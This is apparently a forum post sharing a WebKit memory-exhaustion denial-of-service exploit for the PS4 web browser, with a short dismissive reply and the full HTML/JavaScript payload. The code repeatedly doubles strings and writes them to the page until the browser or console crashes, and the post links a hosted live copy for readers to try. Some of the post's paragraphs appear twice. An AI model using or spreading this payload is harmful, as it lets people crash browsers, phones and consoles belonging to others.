So, I found a vulnerability (Original found by Dr_IDE) that seems to work on PS4, I modified the HTML code a little, just to make it say Webkit crash at the top and to add a "start exploit" button, and to make it more reliable on the PS4 web browser.
Anyways, I have been testing this vulnerability out and it seems to sometimes crash the entire system and requires a reboot to be usable again.
I have a video of what it did after I tried this (after 1 reboot):
For all the people who want to try it right now, EdiTzZMoDz on twitter added the exploit to his site: http://ps4.editzz.net/dos401/index.html
Here is the code:
Anyways, I have been testing this vulnerability out and it seems to sometimes crash the entire system and requires a reboot to be usable again.
I have a video of what it did after I tried this (after 1 reboot):
For all the people who want to try it right now, EdiTzZMoDz on twitter added the exploit to his site: http://ps4.editzz.net/dos401/index.html
Here is the code:
Basic Coding.. Crashes Phones... Mean not worth the time on ps4
Code:
<html>
<title>Not Enough Free System Memory DoS Exploit</title>
<head>
<script>
function dos()
{
var longunistring1 = unescape("%u4141%u4141");
var longunistring2 = unescape("%u4242%u4242");
var longunistring3 = unescape("%u4343%u4343");
var longunistring4 = unescape("%u4444%u4444");
var longunistring5 = unescape("%u4545%u4545");
var longunistring6 = unescape("%u4646%u4646");
var longunistring7 = unescape("%u4747%u4747");
for(i=0; i <= 950 ; ++i)
{
longunistring1+=longunistring1;
longunistring2+=longunistring2;
longunistring3+=longunistring3;
longunistring4+=longunistring4;
longunistring5+=longunistring5;
longunistring6+=longunistring6;
longunistring7+=longunistring7;
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
document.write(longunistring5);
document.write(longunistring6);
document.write(longunistring7);
}
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
document.write(longunistring5);
document.write(longunistring6);
document.write(longunistring7);
}
</script>
</head>
<body>
<input type="button" value="Start Exploit" onclick="dos();">
</body>
</html>